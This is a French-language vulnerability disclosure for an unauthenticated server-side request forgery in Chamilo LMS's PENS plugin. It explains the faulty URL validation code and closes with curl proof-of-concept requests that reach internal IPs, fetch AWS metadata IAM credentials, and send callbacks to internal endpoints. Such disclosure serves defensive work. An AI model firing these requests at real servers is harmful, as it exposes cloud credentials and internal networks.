
Exploit SSRF non authentifié pour le plugin PENS de Chamilo LMS, démontrant deux vecteurs permettant d'accéder aux réseaux internes et aux métadonnées cloud, avec PoC et analyse de la cause racine.
Gravité : Élevée (CVSS 8.6)
CWE : CWE-918 (Server-Side Request Forgery)
Affecté : chamilo/chamilo-lms 2.0-RC.2
Corrigé dans : 2.0-RC.3
Avis : GHSA-g2xj-4cch-j276
NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Crédit : Romain Deperne
Le point de terminaison du plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php est accessible sans authentification et accepte des URL contrôlées par l'utilisateur à la fois pour le téléchargement de paquets et pour les notifications de rappel. Les fonctions de validation d'URL vérifient le schéma et la présence d'un hôte mais n'effectuent aucun filtrage des IP privées, permettant une SSRF non authentifiée vers des réseaux internes et des services de métadonnées cloud.
Après CVE-2026-33715, j'ai examiné d'autres points de terminaison Chamilo non authentifiés ayant des effets côté réseau. Le plugin PENS (public/plugin/Pens/) récupère des paquets depuis des URL externes et envoie des rappels vers des serveurs externes, créant deux surfaces SSRF.
J'ai lu PensProcessor.php à la recherche de la logique de validation d'URL. isAllowedDownloadUrl() et isAllowedCallbackUrl() vérifient toutes deux le schéma (http/https) et la présence d'un hôte non vide — et s'arrêtent là. Aucun filtrage RFC 1918, aucune vérification de loopback, aucune vérification de link-local. Le commentaire indique même « returns true » après la vérification de l'hôte, ce qui rendait évident que ce code avait été écrit sans penser à la SSRF.
Ce qui distingue cette vulnérabilité de la précédente CVE Chamilo : elle présente deux vecteurs SSRF indépendants — un pour la récupération du paquet (le serveur récupère un fichier depuis une URL contrôlée par l'attaquant) et un pour les rappels (le serveur envoie une requête POST vers des points de terminaison contrôlés par l'attaquant). Le vecteur de rappel est particulièrement utile pour exfiltrer les réponses de services internes, puisque le serveur enverra en POST les données de statut PENS vers l'URL que vous spécifiez, et vous contrôlez l'analyse de la réponse.
Sur les déploiements cloud, le point de terminaison de métadonnées 169.254.169.254 est accessible via les deux vecteurs.
Fichier : public/plugin/Pens/lib/PensProcessor.php
Deux vecteurs SSRF distincts :
Vecteur 1 — Récupération de l'URL du paquet (lignes 376, 138) :
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vecteur 2 — SSRF par callback (ligne 318) : les paramètres receipt et alerts spécifient des URL vers lesquelles le serveur envoie des callbacks POST — même absence de validation.
isAllowedDownloadUrl() et isAllowedCallbackUrl() vérifient uniquement que l'URL possède un schéma http/https et un hôte non vide. Les plages privées RFC 1918 (10.x, 172.16.x, 192.168.x), le loopback (127.x), le link-local (169.254.x — métadonnées cloud) et les équivalents IPv6 sont tous acceptés.
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Remarque : ceci est distinct de CVE-2022-27426 (SSRF dans les outils social/links) — chemin de code différent, plugin différent, non authentifié.